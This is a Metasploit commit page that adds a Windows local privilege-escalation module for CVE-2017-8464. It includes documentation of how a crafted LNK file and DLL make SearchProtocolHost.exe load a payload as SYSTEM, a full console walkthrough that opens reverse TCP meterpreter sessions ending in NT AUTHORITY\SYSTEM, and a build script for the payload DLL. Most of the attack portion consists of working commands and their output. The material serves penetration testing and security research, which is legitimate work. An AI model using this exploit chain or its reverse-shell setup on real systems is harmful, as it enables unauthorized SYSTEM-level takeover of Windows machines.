Skip to content

Commit 5a07be9

Browse files
bwatters-r7bwatters-r7
committed
Land rapid7#9041, Add LPE on Windows using CVE-2017-8464 
2 parents 1927e8b + 19e3e18 commit 5a07be9

File tree

13 files changed

+645
-115
lines changed

13 files changed

+645
-115
lines changed

‎data/exploits/cve-2017-8464/src/build.sh

Lines changed: 0 additions & 15 deletions
This file was deleted.

‎data/exploits/cve-2017-8464/src/template.c

Lines changed: 0 additions & 95 deletions
This file was deleted.

‎data/exploits/cve-2017-8464/src/template.h

Lines changed: 0 additions & 3 deletions
This file was deleted.

‎data/exploits/cve-2017-8464/template_x64_windows.dll

100755100644
1.5 KB
Binary file not shown.

‎data/exploits/cve-2017-8464/template_x86_windows.dll

100755100644
2 KB
Binary file not shown.

‎documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md

Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
## Description
2+
This module is a Windows local exploit version of the existing file
3+
format module for CVE-2017-8464. The module works by dropping the
4+
specially crafted LNK file and DLL to disk, which causes
5+
`SearchProtocolHost.exe` to parse the LNK file and thus load the DLL via
6+
the vulnerability. Due to `SearchProtocolHost.exe` running as SYSTEM,
7+
this can be used to elevate privileges.
8+
9+
The original DLL template needed some significant reworking to make it
10+
compatible for execution within `SearchProtocolHost.exe`. The payload
11+
was originally failing in the hollowed child `rundll32.exe` process with
12+
a denied error from winsock. This was addressed by checking if the process
13+
which loaded the crafted DLL is `SearchProtocolHost.exe` and when it is,
14+
it opens the token of another SYSTEM process and passes it to
15+
`CreateProcessAsUser` for the payload to work. When the DLL is loaded
16+
into another process or is not running as SYSTEM, this step is skipped
17+
and `NULL` is passed as the token.
18+
19+
Finally a thread is spawned to keep a module reference and monitor the
20+
child process. This is for synchronization to prevent the payload from
21+
being executed in rapid succession from a single exploitation attempt.
22+
The mutex was also updated to the constant of `MUTEX!!!` to leverage
23+
Metasploit's builtin mutex name randomization, which ensures that a name
24+
is unique per module run but not globally unique.
25+
26+
## Vulnerable Systems
27+
Tested and works on
28+
Windows 7x64 SP0
29+
Windows 7x64 SP1
30+
Windows 8x64
31+
Windows 8.1x64
32+
Windows 10x64 Build 1511
33+
Windows 10x64 Build 1607
34+
Windows 10x64 Build 1703
35+
36+
## Running Example:
37+
```
38+
> use exploit/multi/handler
39+
> set payload windows/x64/meterpreter/reverse_tcp
40+
payload => windows/x64/meterpreter/reverse_tcp
41+
> set LHOST 192.168.135.112
42+
LHOST => 192.168.135.112
43+
> set LPORT 30001
44+
LPORT => 30001
45+
> show options
46+
47+
Module options (exploit/multi/handler):
48+
49+
Name Current Setting Required Description
50+
---- --------------- -------- -----------
51+
52+
53+
Payload options (windows/x64/meterpreter/reverse_tcp):
54+
55+
Name Current Setting Required Description
56+
---- --------------- -------- -----------
57+
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
58+
LHOST 192.168.135.112 yes The listen address
59+
LPORT 30001 yes The listen port
60+
61+
62+
Exploit target:
63+
64+
Id Name
65+
-- ----
66+
0 Wildcard Target
67+
68+
69+
[*] > Ruby Code (13 bytes)
70+
> run -z
71+
[*] Exploit running as background job 0.
72+
[*] Started reverse TCP handler on 192.168.135.112:30001
73+
[*] Sending stage (205379 bytes) to 192.168.134.133
74+
[*] Meterpreter session 1 opened (192.168.135.112:30001 -> 192.168.134.133:49178) at 2017-11-06 10:22:02 -0800
75+
> sysinfo
76+
Computer : WIN7X64-SP0
77+
OS : Windows 7 (Build 7600).
78+
Architecture : x64
79+
System Language : en_US
80+
Domain : WORKGROUP
81+
Logged On Users : 4
82+
Meterpreter : x64/windows
83+
> sessions -l
84+
85+
Active sessions
86+
===============
87+
88+
Id Type Information Connection
89+
-- ---- ----------- ----------
90+
1 meterpreter x64/windows WIN7X64-SP0\msfuser @ WIN7X64-SP0 192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
91+
92+
> use exploit/windows/local/cve_2017_8464_lnk_lpe
93+
> set session 1
94+
session => 1
95+
> set target 0
96+
target => 0
97+
> set payload windows/x64/meterpreter/reverse_tcp
98+
payload => windows/x64/meterpreter/reverse_tcp
99+
> set lhost 192.168.135.112
100+
lhost => 192.168.135.112
101+
> set lport 30002
102+
lport => 30002
103+
> set verbose true
104+
verbose => true
105+
> show options
106+
107+
Module options (exploit/windows/local/cve_2017_8464_lnk_lpe):
108+
109+
Name Current Setting Required Description
110+
---- --------------- -------- -----------
111+
DLLNAME no The DLL file containing the payload
112+
FILENAME no The LNK file
113+
PATH no An explicit path to where the files should be written to
114+
SESSION 1 yes The session to run this module on.
115+
116+
117+
Payload options (windows/x64/meterpreter/reverse_tcp):
118+
119+
Name Current Setting Required Description
120+
---- --------------- -------- -----------
121+
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
122+
LHOST 192.168.135.112 yes The listen address
123+
LPORT 30002 yes The listen port
124+
125+
126+
Exploit target:
127+
128+
Id Name
129+
-- ----
130+
0 Windows x64
131+
132+
133+
> run -j
134+
[*] Exploit running as background job 1.
135+
[*] Started reverse TCP handler on 192.168.135.112:30002
136+
[*] Generating LNK file to load: C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
137+
[*] Sending stage (205379 bytes) to 192.168.134.133
138+
[*] Meterpreter session 2 opened (192.168.135.112:30002 -> 192.168.134.133:49179) at 2017-11-06 10:23:03 -0800
139+
[*] Waiting 15s before file cleanup...
140+
[+] Deleted C:\Users\msfuser\HADoIQMbEQDpbbRn.lnk
141+
[+] Deleted C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
142+
> sessions -l
143+
144+
Active sessions
145+
===============
146+
147+
Id Type Information Connection
148+
-- ---- ----------- ----------
149+
1 meterpreter x64/windows WIN7X64-SP0\msfuser @ WIN7X64-SP0 192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
150+
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN7X64-SP0 192.168.135.112:30002 -> 192.168.134.133:49179 (192.168.134.133)
151+
152+
> getuid
153+
Server username: WIN7X64-SP0\msfuser
154+
Server username: NT AUTHORITY\SYSTEM
155+
> getsystem
156+
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
157+
> getuid
158+
Server username: NT AUTHORITY\SYSTEM
159+
> exit -y
160+
```
161+
162+
## Compiling instructions
163+
`cd ./external/source/exploits/cve-2017-8464`
164+
`./build.sh`
165+
166+
(Requires `mingw-w64` package)

‎external/source/exploits/cve-2017-8464/build.sh

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
#!/bin/sh
2+
rm -f *.o *.dll
3+
4+
CCx86="i686-w64-mingw32"
5+
CCx64="x86_64-w64-mingw32"
6+
7+
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
8+
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
9+
${CCx64}-strip -s temp.dll -o ../../../../data/exploits/cve-2017-8464/template_x64_windows.dll
10+
rm -f temp.dll *.o
11+
chmod -x ../../../../data/exploits/cve-2017-8464/template_x64_windows.dll
12+
13+
${CCx86}-gcc -c -Os template.c -Wall -shared
14+
${CCx86}-dllwrap --def template.def *.o -o temp.dll
15+
${CCx86}-strip -s temp.dll -o ../../../../data/exploits/cve-2017-8464/template_x86_windows.dll
16+
rm -f temp.dll *.o
17+
chmod -x ../../../../data/exploits/cve-2017-8464/template_x86_windows.dll

0 commit comments

Comments
 (0)